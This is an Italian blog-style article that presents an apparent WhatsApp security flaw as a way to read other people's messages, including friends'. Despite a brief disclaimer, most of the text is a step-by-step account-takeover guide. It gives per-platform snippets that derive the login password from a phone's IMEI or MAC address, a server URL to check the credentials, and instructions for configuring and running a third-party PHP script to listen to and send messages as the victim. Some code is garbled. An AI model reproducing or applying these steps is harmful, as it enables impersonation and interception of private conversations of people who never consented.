Come leggere i messaggi delle persone su Whatsapp: scoperta grave falla di sicurezza

WhatsApp è sempre sotto l’occhio del ciclone a quanto pare in queste ore è stata scoperta una nuova falla, che ha sta creando scompiglio, infatti quest’ultima permette di leggere i messaggi delle persone su Whatsapp quindi anche quelle dei vostri amici.

Detto questo noi non invitiamo di certo a fare questa procedura, tuttavia cercheremo di farvi capire il meccanismo, anche perchè come sempre se la tecnologia aiuta a compiere diversi passi nella vita di tutti i giorni, dobbiamo stare sempre attenti in quello che facciamo, WhatsApp non è esente da problemi e questo il punto fondamentale.

In molti sanno che il famoso programma di messaggistica istantanea permette di creare un account, senza però creare nessuna password, ma associando l’account ad nostro codice IMEI ed al nostro MAC ADDRESS nel caso avessi un iDevice.

COME GENERARE PASSWORD SU WHATSAPP ?

In questa breve sezione, vi informiamo sul metodo con cui l’applicazione WhatsApp crea una password sul proprio server per identificarci, per tutte le varie sezioni troveremo i diversi sistemi operativi compatibili con l’applicazione.

PASSWORD WHATSAPP SU ANDROID

$imei = “112222223333334″; //  IMEI di esempio $android

WhatsAppPassword = md5(strrev($imei)); // come calcolare la password il tutto funziona facendo l’inversione dell’IMEI e generazione del MD5

PASSWORD WHATSAPP SU IOS

$wlanMAC = “AA:BB:CC:DD:EE:FF”; // WLAN MAC  indirizzo di esempio

$iphoneWhatsAppPassword = md5($wlanMAC$wlanMAC); // come calcolare la password

PASSWORD WHATSAPP SU BLACKBERRY

$imei = “112222223333334″; //  IMEI di esempio

$BBWhatsAppPassword = md5(strrev($imei)); // calcolo della Password (inversione dell’IMEI e generazione del MD5)

PASSWORD WHATSAPP SU WINDOWS PHONE

$DeviceUniqueID = “112222223333334″ //  qui abbiamo l’ID del Dispositivo

$WPWhatsAppPassword = $DeviceUniqueID // come calcolare la password

COME CONOSCERE L’USERNAME ?

Come detto prima l’applicazione di WhatsApp per accedere al vostro account sul server, utilizza una forma che tutti noi conosciamo, ovvero inserisce automaticamente un username e password permettendoci così di accedere al nostro account.

Se prima abbiamo visto, in maniera abbastanza complessa come avere la password, ora siamo pronti a svelarvi come avere l’username, molto semplicemente quest’ultimo altro non è che il numero di cellulare.

COME LOGGARSI SU WHATSAPP ?

Vediamo ora come accedere all’account su WhatsApp, il tutto sarà lungo, tuttavia questo funzionerà fino a quando non chiuderanno questa falla davvero grave.

Andando sul nostro browser, uno qualunque tutti vanno bene, basterà andare poi nella barra degli indirizzi ed incollare questa dicitura:

https://r.whatsapp.net/v1/exist.php?cc=$countrycode&in=$phonenumber&udid=$password

Tuttavia dovremmo fare delle modifiche per far si che funzioni, infatti nella dicitura countrycode, dobbiamo sostituire il prefisso del nostro paese, se siete in Italia, basterà indicare il 39, dopo di che al posto di phonenumber, dovremmo inserire il numero di telefono che ci interessa.

Tutto dovrebbe essere andato per il meglio, se è così compariranno queste diciture:

<exit>

<response status=”ok” result=”3334455666″/>

</exit>

Noterete sicuramente quell’OK, il quale indica che la procedura è andata come speravamo, nel caso incontraste qualche problema uscirà la dicitura FAIL, quindi avrete immesso qualche parametro sbagliato.

Ora per continuare dovremmo scaricare WhatsAppAPI che si troverà online sul sito GitHub, il quale ci permetterà di automatizzare alcune procedure.

Una volta che avremmo finito il download di WhatsAppAPI, troveremo all’interno una cartella che prende il nome di “Test” dove vi sarà un altro file che invece si chiama “WhatsApp,php”, apriamo questo file con il blocco note, così che potremmo modificarlo e alla sedicesima riga troveremo delle righe da modificare come qui sotto:

$nickname = “WhatsAPI Test”;

$sender = “393481234567″; // Mobile number with country code (but without + or 00)

$imei = “35xxxxxxxxxxxxx”; // MAC Address for iOS IMEI for other platform (Android/etc)

Salviamo le modifiche effettuate al file in questione, dopo di che dobbiamo avviare questo script PHP dalla riga di comando oppure usando MAMP per i più esperti.

$ php whatsapp.php

Il software in questione ci darà un testo similare a questo:

USAGE: whatsapp.php [-l] [-s ] [-i ] phone: full number including country code, without ‘+’ or ’00′ -s: send message -l: listen for new messages -i: interactive conversation with

Da questo possiamo trarre alcune conclusioni, infatti da quello che abbiamo visto nel testo precedente, la voce “-s” ci permetterà di inviare un nuovo messaggio, mentre “-l” troveremo dei messaggi non letti, infine con “-i” avviamo una conversazione. Questo è un esempio per avviare un conversazione:

$ php whatsapp.php -i 3934812345**

La privacy di WhatsApp è violabile, lo abbiamo sempre saputo, infatti gli autori sono sempre alla ricerca di fix da mettere in atto, ma questa volta c’è qualcosa di veramente grosse e speriamo che venga risolto nel più breve tempo possibile, a voi i commenti.